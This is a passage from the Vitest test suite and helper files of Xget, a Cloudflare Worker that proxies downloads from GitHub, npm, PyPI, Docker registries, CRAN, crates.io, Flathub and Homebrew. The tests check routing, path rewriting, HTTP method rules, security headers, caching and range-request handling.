*/ clear() { this.measurements = []; } } /** * Test timeout helper * @param {number} ms - Timeout in milliseconds * @returns {Promise} Promise that rejects after timeout */ export function timeout(ms) { return new Promise((_, reject) => { setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms); }); } /** * Wait for a specified amount of time * @param {number} ms - Time to wait in milliseconds * @returns {Promise} Promise that resolves after the specified time */ export function wait(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } ================================================ FILE: test/helpers/mocks.js ================================================ /** * Mock creation utilities for tests */ /** * Create a mock request with default options * @param {string} url - Request URL * @param {object} options - Request options * @returns {Request} Mock request object */ export function createMockRequest(url, options = {}) { const defaultOptions = { method: 'GET', headers: { 'User-Agent': 'Mozilla/5.0 (Test)', Accept: '*/*' } }; return new Request(url, { ...defaultOptions, ...options }); } /** * Create a mock response with default options * @param {string} body - Response body * @param {object} options - Response options * @returns {Response} Mock response object */ export function createMockResponse(body = 'OK', options = {}) { const defaultOptions = { status: 200, statusText: 'OK', headers: { 'Content-Type': 'text/plain' } }; return new Response(body, { ...defaultOptions, ...options }); } /** * Create a Git request for testing * @param {string} url - Git repository URL * @param {string} service - Git service (upload-pack or receive-pack) * @returns {Request} Git request object */ export function createGitRequest(url, service = 'git-upload-pack') { const gitUrl = url.includes('?') ? `${url}&service=${service}` : `${url}?service=${service}`; return new Request(gitUrl, { method: service === 'git-upload-pack' ? 'GET' : 'POST', headers: { 'User-Agent': 'git/2.34.1', 'Git-Protocol': 'version=2', ...(service !== 'git-upload-pack' && { 'Content-Type': `application/x-${service}-request` }) } }); } /** * Create a Docker registry request * @param {string} url - Request URL * @param {{headers?: Record}} options - Request options * @returns {Request} Docker request object */ export function createDockerRequest(url, options = {}) { return new Request(url, { method: 'GET', headers: { 'User-Agent': 'docker/24.0.0', Accept: 'application/vnd.docker.distribution.manifest.v2+json', ...options.headers }, ...options }); } /** * Mock fetch function for testing * @param {string} url - Request URL * @param {object} _options - Fetch options * @returns {Promise} Mock response */ export function mockFetch(url, _options = {}) { return new Promise(resolve => { setTimeout(() => { if (url.includes('error')) { resolve(createMockResponse('Server Error', { status: 500 })); } else if (url.includes('notfound')) { resolve(createMockResponse('Not Found', { status: 404 })); } else { resolve(createMockResponse('Mock Response', { status: 200 })); } }, 10); }); } /** * Create a mock npm registry response * @param {string} packageName - Package name * @param {string} version - Package version * @returns {object} Mock npm registry response */ export function createMockNpmRegistryResponse(packageName, version = '1.0.0') { return { name: packageName, versions: { [version]: { name: packageName, version, dist: { tarball: `https://registry.npmjs.org/${packageName}/-/${packageName}-${version}.tgz`, shasum: 'mock-shasum', integrity: 'mock-integrity' } } }, 'dist-tags': { latest: version } }; } ================================================ FILE: test/helpers/test-utils.js ================================================ /** * Test utilities - backward compatibility wrapper * This file maintains backward compatibility with existing tests * by re-exporting from the new modular structure */ // Re-export everything from the new modular helpers export * from './index.js'; ================================================ FILE: test/index.test.js ================================================ import { SELF } from 'cloudflare:test'; import { describe, expect, it } from 'vitest'; describe('Xget Core Functionality', () => { describe('Basic Request Handling', () => { it('should redirect root path to homepage', async () => { const response = await SELF.fetch('https://example.com/', { redirect: 'manual' }); expect(response.status).toBe(302); expect(response.headers.get('Location')).toBe('https://github.com/xixu-me/Xget'); }); it('should redirect platform prefix without path to homepage', async () => { // Test with /gh (no trailing slash) const response1 = await SELF.fetch('https://example.com/gh', { redirect: 'manual' }); expect(response1.status).toBe(302); expect(response1.headers.get('Location')).toBe('https://github.com/xixu-me/Xget'); // Test with /gh/ (with trailing slash) const response2 = await SELF.fetch('https://example.com/gh/', { redirect: 'manual' }); expect(response2.status).toBe(302); expect(response2.headers.get('Location')).toBe('https://github.com/xixu-me/Xget'); // Test with multi-part platform prefix (e.g., /ip/openai) const response3 = await SELF.fetch('https://example.com/ip/openai', { redirect: 'manual' }); expect(response3.status).toBe(302); expect(response3.headers.get('Location')).toBe('https://github.com/xixu-me/Xget'); }); it('should redirect invalid platform prefix to homepage', async () => { const response = await SELF.fetch('https://example.com/invalid/test', { redirect: 'manual' }); expect(response.status).toBe(302); expect(response.headers.get('Location')).toBe('https://github.com/xixu-me/Xget'); }); it('should include security headers in all responses', async () => { const response = await SELF.fetch('https://example.com/', { redirect: 'manual' }); expect(response.headers.get('Strict-Transport-Security')).toBeTruthy(); expect(response.headers.get('X-Frame-Options')).toBe('DENY'); expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block'); expect(response.headers.get('Content-Security-Policy')).toBeTruthy(); expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin'); }); }); describe('Platform URL Transformation', () => { it('should handle GitHub URLs correctly', async () => { const testUrl = 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); // Should attempt to proxy to GitHub expect(response.status).not.toBe(400); }); it('should handle GitLab URLs correctly', async () => { const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); // Should attempt to proxy to GitLab expect(response.status).not.toBe(400); }); it('should handle Hugging Face URLs correctly', async () => { const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); // Should attempt to proxy to Hugging Face expect(response.status).not.toBe(400); }); it('should handle npm URLs correctly', async () => { const testUrl = 'https://example.com/npm/react/-/react-18.2.0.tgz'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); // Should attempt to proxy to npm expect(response.status).not.toBe(400); }); it('should handle PyPI URLs correctly', async () => { const testUrl = 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); // Should attempt to proxy to PyPI expect(response.status).not.toBe(400); }); it('should handle conda URLs correctly', async () => { const testUrl = 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); // Should attempt to proxy to conda expect(response.status).not.toBe(400); }); it('should handle Flathub URLs correctly', async () => { const testUrl = 'https://example.com/flathub/repo/summary'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); // Should attempt to proxy to Flathub expect(response.status).not.toBe(400); }); it('should not treat nested /v2/ path segments as container registry requests', async () => { const testUrl = 'https://example.com/gh/microsoft/vscode/releases/download/v2/file.tar.gz'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); expect(response.status).not.toBe(400); }); }); describe('HTTP Method Validation', () => { it('should allow GET requests', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'GET' }); expect(response.status).not.toBe(405); }); it('should allow HEAD requests', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'HEAD' }); expect(response.status).not.toBe(405); }); it('should reject PUT requests for non-Git operations', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'PUT' }); expect(response.status).toBe(405); }); it('should reject DELETE requests', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'DELETE' }); expect(response.status).toBe(405); }); it('should reject AI-like POST requests outside /ip providers', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/v1/chat/completions', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ message: 'test' }) }); expect(response.status).toBe(405); }); }); describe('Git Protocol Support', () => { it('should allow POST for Git upload-pack', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo.git/git-upload-pack', { method: 'POST', headers: { 'Content-Type': 'application/x-git-upload-pack-request', 'User-Agent': 'git/2.34.1' } }); expect(response.status).not.toBe(405); }); it('should allow POST for Git receive-pack', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo.git/git-receive-pack', { method: 'POST', headers: { 'Content-Type': 'application/x-git-receive-pack-request', 'User-Agent': 'git/2.34.1' } }); expect(response.status).not.toBe(405); }); it('should handle Git info/refs requests', async () => { const response = await SELF.fetch( 'https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack', { method: 'GET', headers: { 'User-Agent': 'git/2.34.1' } } ); expect(response.status).not.toBe(405); }); }); describe('Path Length Validation', () => { it('should reject extremely long paths', async () => { const longPath = `/gh/${'a'.repeat(3000)}`; const response = await SELF.fetch(`https://example.com${longPath}`); expect(response.status).toBe(414); }); it('should accept normal length paths', async () => { const normalPath = '/gh/microsoft/vscode/archive/refs/heads/main.zip'; const response = await SELF.fetch(`https://example.com${normalPath}`, { method: 'HEAD' }); expect(response.status).not.toBe(414); }); }); describe('Performance Headers', () => { it('should include performance metrics in response headers', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'HEAD' }); expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); }); it('should include valid JSON in performance metrics', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'HEAD' }); const metricsHeader = response.headers.get('X-Performance-Metrics'); expect(metricsHeader).toBeTruthy(); expect(() => JSON.parse(metricsHeader || '')).not.toThrow(); }); }); describe('URL Rewriting', () => { it('should rewrite npm registry URLs in JSON responses', async () => { // Mock npm package metadata request const testUrl = 'https://example.com/npm/lodash'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); // This test would need actual npm registry response mocking // For now, just verify the request doesn't fail expect([200, 301, 302, 404, 500]).toContain(response.status); }); it('should preserve npm tarball URL structure', async () => { // Test that npm tarball URLs follow the correct pattern const testUrl = 'https://example.com/npm/react/-/react-18.2.0.tgz'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); // Should attempt to proxy correctly expect(response.status).not.toBe(400); }); it('should correctly rewrite npm URLs to preserve package names', () => { // Test the regex replacement logic directly const mockOriginalText = JSON.stringify({ name: 'npm', versions: { '11.5.1': { dist: { tarball: 'https://registry.npmjs.org/npm/-/npm-11.5.1.tgz' } } } }); // Simulate the regex replacement that happens in the code const rewrittenText = mockOriginalText.replace( /https:\/\/registry.npmjs.org\/([^/]+)/g, 'https://xget.xi-xu.me/npm/$1' ); const rewrittenData = JSON.parse(rewrittenText); // Verify the URL is correctly rewritten with package name preserved expect(rewrittenData.versions['11.5.1'].dist.tarball).toBe( 'https://xget.xi-xu.me/npm/npm/-/npm-11.5.1.tgz' ); }); }); }); ================================================ FILE: test/integration.test.js ================================================ import { SELF } from 'cloudflare:test'; import { describe, expect, it } from 'vitest'; describe('Integration Tests', () => { describe('End-to-End Platform Integration', () => { it('should proxy GitHub file requests correctly', async () => { const testUrl = 'https://example.com/gh/microsoft/vscode/blob/main/package.json'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); // Should attempt to proxy to GitHub expect([200, 301, 302, 404]).toContain(response.status); // Should include security headers expect(response.headers.get('Strict-Transport-Security')).toBeTruthy(); expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); }); it('should handle GitHub raw file requests', async () => { const testUrl = 'https://example.com/gh/microsoft/vscode/raw/main/README.md'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); expect([200, 301, 302, 404]).toContain(response.status); }); it('should handle GitHub release downloads', async () => { const testUrl = 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); expect([200, 301, 302, 404, 408]).toContain(response.status); }, 60000); it('should proxy GitLab file requests correctly', async () => { const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/package.json'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); expect([200, 301, 302, 404]).toContain(response.status); expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); }); it('should handle Hugging Face model files', async () => { const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); expect([200, 301, 302, 404, 429]).toContain(response.status); }, 10000); it('should handle npm package requests', async () => { const testUrl = 'https://example.com/npm/react'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); expect([200, 301, 302, 404]).toContain(response.status); }); it('should handle PyPI package requests', async () => { const testUrl = 'https://example.com/pypi/simple/requests/'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); expect([200, 301, 302, 404]).toContain(response.status); }); it('should handle conda package requests', async () => { const testUrl = 'https://example.com/conda/pkgs/main/linux-64/repodata.json'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); expect([200, 301, 302, 404]).toContain(response.status); }); }); describe('Caching Integration', () => { it('should cache responses appropriately', async () => { const testUrl = 'https://example.com/gh/test/repo/static-file.txt'; // First request const response1 = await SELF.fetch(testUrl); const metrics1 = response1.headers.get('X-Performance-Metrics'); // Second request (should potentially hit cache) const response2 = await SELF.fetch(testUrl); const metrics2 = response2.headers.get('X-Performance-Metrics'); expect(metrics1).toBeTruthy(); expect(metrics2).toBeTruthy(); // Both requests should succeed expect(response1.status).toBe(response2.status); }); it('should not cache Git protocol requests', async () => { const testUrl = 'https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack'; const response = await SELF.fetch(testUrl, { headers: { 'User-Agent': 'git/2.34.1' } }); // Git requests should not be cached (no cache headers) expect(response.headers.get('Cache-Control') || '').not.toContain('max-age=1800'); }); }); describe('Error Handling Integration', () => { it('should handle upstream server errors gracefully', async () => { const testUrl = 'https://example.com/gh/nonexistent/repo/file.txt'; const response = await SELF.fetch(testUrl); // Should handle 404 from upstream gracefully expect([404, 502, 503]).toContain(response.status); expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); }); it('should handle network timeouts', async () => { // This would test timeout handling, but is difficult to simulate // in a unit test environment. In practice, this would be tested // with a mock server that delays responses. const testUrl = 'https://example.com/gh/test/repo/file.txt'; const response = await SELF.fetch(testUrl); // Should complete within reasonable time expect(response.status).toBeDefined(); }); it('should retry failed requests', async () => { // Test retry mechanism by checking performance metrics const testUrl = 'https://example.com/gh/test/unreliable-endpoint'; const response = await SELF.fetch(testUrl); const metricsHeader = response.headers.get('X-Performance-Metrics'); if (metricsHeader) { const metrics = JSON.parse(metricsHeader); // If retries occurred, there should be timing data expect(typeof metrics).toBe('object'); } }, 20000); }); describe('Performance Integration', () => { it('should complete requests within reasonable time', async () => { const startTime = Date.now(); const testUrl = 'https://example.com/gh/test/repo/small-file.txt'; const response = await SELF.fetch(testUrl); const endTime = Date.now(); const duration = endTime - startTime; // Should complete within 30 seconds (timeout limit) expect(duration).toBeLessThan(30000); expect(response.status).toBeDefined(); }); it('should include performance metrics in all responses', async () => { const testUrls = [ 'https://example.com/gh/test/repo/file.txt', 'https://example.com/npm/test-package', 'https://example.com/pypi/simple/test/' ]; const responses = await Promise.all(testUrls.map(url => SELF.fetch(url, { method: 'HEAD' }))); for (const response of responses) { expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); } }, 20000); }); describe('Content Type Handling', () => { it('should preserve content types from upstream', async () => { const testCases = [ { url: 'https://example.com/gh/test/repo/image.png', expectedType: 'image' }, { url: 'https://example.com/gh/test/repo/data.json', expectedType: 'json' }, { url: 'https://example.com/gh/test/repo/style.css', expectedType: 'css' }, { url: 'https://example.com/gh/test/repo/script.js', expectedType: 'javascript' } ]; for (const testCase of testCases) { const response = await SELF.fetch(testCase.url, { method: 'HEAD' }); if (response.status === 200) { const contentType = response.headers.get('Content-Type'); if (contentType) { expect(contentType.toLowerCase()).toContain(testCase.expectedType); } } } }, 30000); }); describe('Range Request Support', () => { it('should support partial content requests', async () => { const testUrl = 'https://example.com/gh/test/repo/large-file.zip'; const response = await SELF.fetch(testUrl, { headers: { Range: 'bytes=0-1023' } }); // Should either support range requests (206) or return full content (200) expect([200, 206, 404]).toContain(response.status); if (response.status === 206) { expect(response.headers.get('Content-Range')).toBeTruthy(); } }); it('should handle range requests with proper caching strategy', async () => { const testUrl = 'https://example.com/gh/test/repo/test-file.pdf'; // First, make a regular request to cache the full content const fullResponse = await SELF.fetch(testUrl); if (fullResponse.status === 200) { // Verify the response has proper headers for Range support expect(fullResponse.headers.get('Accept-Ranges')).toBe('bytes'); expect(fullResponse.headers.get('Cache-Control')).toContain('public'); // Now make a range request const rangeResponse = await SELF.fetch(testUrl, { headers: { Range: 'bytes=0-1023' } }); // Should either get partial content or full content expect([200, 206]).toContain(rangeResponse.status); if (rangeResponse.status === 206) { expect(rangeResponse.headers.get('Content-Range')).toBeTruthy(); expect(rangeResponse.headers.get('Content-Length')).toBe('1024'); } } }); it('should avoid compression for media files', async () => { const mediaFiles = [ 'https://example.com/gh/test/repo/video.mp4', 'https://example.com/gh/test/repo/audio.mp3', 'https://example.com/gh/test/repo/image.jpg', 'https://example.com/gh/test/repo/archive.zip' ]; for (const url of mediaFiles) { const response = await SELF.fetch(url, { method: 'HEAD' }); if (response.status === 200) { // Media files should have Accept-Ranges header for proper range support expect(response.headers.get('Accept-Ranges')).toBe('bytes'); // Should not be compressed if it's a media file const contentEncoding = response.headers.get('Content-Encoding'); if (contentEncoding) { expect(['identity', null, undefined]).toContain(contentEncoding); } } } }); it('should cache only 200 responses, not 206 responses', async () => { const testUrl = 'https://example.com/gh/test/repo/large-document.pdf'; // Make a range request first const rangeResponse = await SELF.fetch(testUrl, { headers: { Range: 'bytes=0-1023' } }); // Verify performance metrics don't show 206 caching attempts if (rangeResponse.status === 206) { const metrics = rangeResponse.headers.get('X-Performance-Metrics'); if (metrics) { const parsedMetrics = JSON.parse(metrics); // Should not have cache_put_206_error or similar expect(parsedMetrics).not.toHaveProperty('cache_put_error'); } } // Follow up with a full request to ensure it gets cached properly const fullResponse = await SELF.fetch(testUrl); if (fullResponse.status === 200) { expect(fullResponse.headers.get('Cache-Control')).toContain('public'); expect(fullResponse.headers.get('Accept-Ranges')).toBe('bytes'); } }); }); describe('Cross-Platform Consistency', () => { it('should handle similar requests consistently across platforms', async () => { const testCases = [ 'https://example.com/gh/test/repo/README.md', 'https://example.com/gl/test/repo/README.md' ]; const responses = await Promise.all( testCases.map(url => SELF.fetch(url, { method: 'HEAD' })) ); // All responses should have consistent security headers responses.forEach((/** @type {Response} */ response) => { expect(response.headers.get('Strict-Transport-Security')).toBeTruthy(); expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); }); }); }); }); ================================================ FILE: test/platforms/container-registry.test.js ================================================ import { SELF } from 'cloudflare:test'; import { describe, expect, it } from 'vitest'; describe('Container Registry Support', () => { describe('Docker API Version Check', () => { it('should handle /v2/ endpoint correctly', async () => { const response = await SELF.fetch('https://example.com/v2/'); expect(response.status).toBe(200); expect(response.headers.get('Docker-Distribution-Api-Version')).toBe('registry/2.0'); expect(response.headers.get('Content-Type')).toBe('application/json'); const body = await response.text(); expect(body).toBe('{}'); }); it('should handle /v2 endpoint correctly', async () => { const response = await SELF.fetch('https://example.com/v2'); expect(response.status).toBe(200); expect(response.headers.get('Docker-Distribution-Api-Version')).toBe('registry/2.0'); }); }); describe('Container Registry URL Transformation', () => { it('should handle Quay.io registry requests', async () => { const testUrl = 'https://example.com/cr/quay/v2/quay/redis/manifests/latest'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); // Should attempt to proxy to Quay.io expect(response.status).not.toBe(400); }); it('should handle Google Container Registry requests', async () => { const testUrl = 'https://example.com/cr/gcr/v2/distroless/base/manifests/latest'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); // Should attempt to proxy to GCR expect(response.status).not.toBe(400); }); it('should handle GitHub Container Registry requests', async () => { const testUrl = 'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); // Should attempt to proxy to GHCR expect(response.status).not.toBe(400); }); }); describe('Docker Authentication', () => { it('should pass through 401 authentication challenges', async () => { // This test simulates an upstream 401 response which should be passed through const testUrl = 'https://example.com/cr/ghcr/v2/private/repo/manifests/latest'; const response = await SELF.fetch(testUrl, { headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' } }); // Should not convert 401 to 500 or other error codes if (response.status === 401) { // WWW-Authenticate header should be preserved expect(response.headers.has('WWW-Authenticate') || response.status === 401).toBeTruthy(); } }); it('should handle container registry token requests', async () => { const testUrl = 'https://example.com/cr/ghcr/v2/auth'; const response = await SELF.fetch(testUrl, { headers: { Authorization: 'Basic dGVzdDp0ZXN0' } }); // Should attempt to proxy auth requests expect(response.status).not.toBe(400); }, 15000); it('should transform scope parameter correctly for Docker Hub', async () => { // Test that scope parameter removes Xget path prefix const testUrl = 'https://example.com/cr/docker/v2/auth?scope=repository:cr/docker/mlikiowa/napcat-docker:pull&service=Xget'; const response = await SELF.fetch(testUrl); // Should not return 400 Bad Request (which indicates malformed scope) expect(response.status).not.toBe(400); }); it('should transform scope parameter correctly for GHCR', async () => { // Test that scope parameter removes Xget path prefix const testUrl = 'https://example.com/cr/ghcr/v2/auth?scope=repository:cr/ghcr/user/repo:pull&service=Xget'; const response = await SELF.fetch(testUrl); // Should not return 400 Bad Request (which indicates malformed scope) expect(response.status).not.toBe(400); }); it('should handle scope parameter for official Docker Hub images', async () => { // Test that scope parameter is transformed and adds library/ prefix for official images const testUrl = 'https://example.com/cr/docker/v2/auth?scope=repository:cr/docker/nginx:pull&service=Xget'; const response = await SELF.fetch(testUrl); // Should not return 400 Bad Request expect(response.status).not.toBe(400); }); }); describe('Docker Request Detection', () => { it('should detect Docker requests by path', async () => { const response = await SELF.fetch( 'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest', { method: 'GET' } ); // Should not reject with 405 (method not allowed) expect(response.status).not.toBe(405); }); it('should detect Docker requests by Accept header', async () => { const response = await SELF.fetch('https://example.com/cr/ghcr/v2/test/repo/manifests/tag', { headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' } }); // Should not reject with 405 (method not allowed) expect(response.status).not.toBe(405); }); it('should detect Docker requests by User-Agent', async () => { const response = await SELF.fetch('https://example.com/cr/ghcr/v2/test/repo/manifests/tag', { headers: { 'User-Agent': 'docker/20.10.7' } }); // Should not reject with 405 (method not allowed) expect(response.status).not.toBe(405); }); }); describe('Docker HTTP Methods', () => { it('should allow GET for manifest requests', async () => { const response = await SELF.fetch( 'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest', { method: 'GET' } ); expect(response.status).not.toBe(405); }); it('should allow HEAD for manifest requests', async () => { const response = await SELF.fetch( 'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest', { method: 'HEAD' } ); expect(response.status).not.toBe(405); }); it('should allow PUT for manifest uploads', async () => { const response = await SELF.fetch('https://example.com/cr/ghcr/v2/test/repo/manifests/tag', { method: 'PUT', headers: { 'Content-Type': 'application/vnd.docker.distribution.manifest.v2+json' }, body: JSON.stringify({ schemaVersion: 2, mediaType: 'application/vnd.docker.distribution.manifest.v2+json' }) }); expect(response.status).not.toBe(405); }); it('should allow POST for blob uploads', async () => { const response = await SELF.fetch('https://example.com/cr/ghcr/v2/test/repo/blobs/uploads/', { method: 'POST', headers: { 'Content-Type': 'application/octet-stream' } }); expect(response.status).not.toBe(405); }); }); describe('Container Registry Error Handling', () => { it('should reject non-cr prefixed Docker requests', async () => { const response = await SELF.fetch( 'https://example.com/v2/nginxinc/nginx-unprivileged/manifests/latest' ); expect(response.status).toBe(400); expect(await response.text()).toContain('container registry requests must use /cr/ prefix'); }); }); describe('Container Registry Headers', () => { it('should preserve container-specific headers', async () => { const response = await SELF.fetch( 'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest', { headers: { 'Container-Content-Digest': 'sha256:abc123', Accept: 'application/vnd.docker.distribution.manifest.v2+json', Authorization: 'Bearer token123' } } ); // Should not reject Docker-specific headers expect(response.status).not.toBe(400); }); it('should not cache container registry responses', async () => { const testUrl = 'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest'; const response = await SELF.fetch(testUrl); // Container registry responses should not be cached const cacheControl = response.headers.get('Cache-Control'); if (cacheControl) { expect(cacheControl).not.toContain('max-age=1800'); } }); }); describe('Docker Hub Specific Tests', () => { it('should handle Docker Hub official images (single-name images)', async () => { // Official images like nginx, redis are stored as library/nginx in Docker Hub const testUrl = 'https://example.com/cr/docker/v2/nginx/manifests/latest'; const response = await SELF.fetch(testUrl, { headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' } }); // Should attempt to proxy to Docker Hub expect(response.status).not.toBe(400); }, 30000); it('should handle Docker Hub user images (namespace/image format)', async () => { // User images already have namespace prefix const testUrl = 'https://example.com/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest'; const response = await SELF.fetch(testUrl, { headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' } }); // Should attempt to proxy to Docker Hub expect(response.status).not.toBe(400); }, 30000); it('should allow GET for Docker Hub manifest requests', async () => { const response = await SELF.fetch('https://example.com/cr/docker/v2/nginx/manifests/latest', { method: 'GET', headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' } }); expect(response.status).not.toBe(405); }); it('should allow HEAD for Docker Hub manifest requests', async () => { const response = await SELF.fetch('https://example.com/cr/docker/v2/nginx/manifests/latest', { method: 'HEAD', headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' } }); expect(response.status).not.toBe(405); }); }); }); ================================================ FILE: test/platforms/cran.test.js ================================================ import { describe, expect, it } from 'vitest'; import { PLATFORM_CATALOG as PLATFORMS } from '../../src/config/platform-catalog.js'; import { transformPath } from '../../src/routing/platform-transformers.js'; describe('CRAN Platform Configuration', () => { it('should have CRAN platform configured', () => { expect(PLATFORMS.cran).toBe('https://cran.r-project.org'); }); it('should transform CRAN paths correctly', () => { const testCases = [ { input: '/cran/src/contrib/ggplot2_3.5.2.tar.gz', expected: '/src/contrib/ggplot2_3.5.2.tar.gz', description: 'package source file' }, { input: '/cran/web/packages/dplyr/DESCRIPTION', expected: '/web/packages/dplyr/DESCRIPTION', description: 'package description file' }, { input: '/cran/bin/windows/contrib/4.3/ggplot2_3.4.4.zip', expected: '/bin/windows/contrib/4.3/ggplot2_3.4.4.zip', description: 'Windows binary package' }, { input: '/cran/bin/macosx/big-sur-arm64/contrib/4.3/ggplot2_3.4.4.tgz', expected: '/bin/macosx/big-sur-arm64/contrib/4.3/ggplot2_3.4.4.tgz', description: 'macOS binary package' }, { input: '/cran/web/packages/packages.rds', expected: '/web/packages/packages.rds', description: 'package index file' } ]; testCases.forEach(({ input, expected, description }) => { const result = transformPath(input, 'cran'); expect(result, `Failed for ${description}: ${input}`).toBe(expected); }); }); it('should handle root path correctly', () => { const result = transformPath('/cran/', 'cran'); expect(result).toBe('/'); }); it('should handle paths without platform prefix', () => { const result = transformPath('/src/contrib/ggplot2_3.5.2.tar.gz', 'cran'); expect(result).toBe('/src/contrib/ggplot2_3.5.2.tar.gz'); }); }); ================================================ FILE: test/platforms/crates.test.js ================================================ import { describe, expect, it } from 'vitest'; import { transformPath } from '../../src/routing/platform-transformers.js'; describe('crates.io path transformation', () => { it('should transform crate download URLs correctly', () => { const path = '/crates/serde/1.0.0/download'; const result = transformPath(path, 'crates'); expect(result).toBe('/api/v1/crates/serde/1.0.0/download'); }); it('should transform crate metadata URLs correctly', () => { const path = '/crates/serde'; const result = transformPath(path, 'crates'); expect(result).toBe('/api/v1/crates/serde'); }); it('should transform crate version URLs correctly', () => { const path = '/crates/serde/1.0.0'; const result = transformPath(path, 'crates'); expect(result).toBe('/api/v1/crates/serde/1.0.0'); }); it('should transform search URLs correctly', () => { const path = '/crates/?q=serde'; const result = transformPath(path, 'crates'); expect(result).toBe('/api/v1/crates?q=serde'); }); it('should transform root crates URL correctly', () => { const path = '/crates/'; const result = transformPath(path, 'crates'); expect(result).toBe('/api/v1/crates'); }); }); ================================================ FILE: test/platforms/flathub.test.js ================================================ import { describe, expect, it } from 'vitest'; import { PLATFORM_CATALOG as PLATFORMS } from '../../src/config/platform-catalog.js'; import { transformPath } from '../../src/routing/platform-transformers.js'; describe('Flathub Platform Configuration', () => { it('should have Flathub platform configured', () => { expect(PLATFORMS.flathub).toBe('https://dl.flathub.org'); }); it('should transform Flathub repository paths correctly', () => { const testCases = [ { input: '/flathub/repo/summary', expected: '/repo/summary', description: 'repository summary' }, { input: '/flathub/repo/summary.sig', expected: '/repo/summary.sig', description: 'repository summary signature' }, { input: '/flathub/repo/flathub.flatpakrepo', expected: '/repo/flathub.flatpakrepo', description: 'remote descriptor' }, { input: '/flathub/repo/appstream/org.gnome.gedit.flatpakref', expected: '/repo/appstream/org.gnome.gedit.flatpakref', description: 'application reference' }, { input: '/flathub/repo/objects/12/34567890abcdef.filez', expected: '/repo/objects/12/34567890abcdef.filez', description: 'content-addressed object' }, { input: '/flathub/repo/deltas/ABCD.superblock', expected: '/repo/deltas/ABCD.superblock', description: 'static delta' } ]; testCases.forEach(({ input, expected, description }) => { const result = transformPath(input, 'flathub'); expect(result, `Failed for ${description}: ${input}`).toBe(expected); }); }); it('should handle root path correctly', () => { expect(transformPath('/flathub/', 'flathub')).toBe('/'); }); it('should preserve already transformed Flathub repository paths', () => { expect(transformPath('/repo/summary', 'flathub')).toBe('/repo/summary'); }); }); ================================================ FILE: test/platforms/homebrew.test.js ================================================ import { describe, expect, it } from 'vitest'; import { transformPath } from '../../src/routing/platform-transformers.js'; describe('Homebrew path transformation', () => { describe('homebrew-api platform', () => { it('should handle formula API paths correctly', () => { const path = '/homebrew/api/formula/git.json'; const result = transformPath(path, 'homebrew-api'); expect(result).toBe('/formula/git.json'); }); it('should handle cask API paths correctly', () => { const path = '/homebrew/api/cask/docker.json'; const result = transformPath(path, 'homebrew-api'); expect(result).toBe('/cask/docker.json'); }); it('should handle formula list API paths correctly', () => { const path = '/homebrew/api/formula.json'; const result = transformPath(path, 'homebrew-api'); expect(result).toBe('/formula.json'); }); 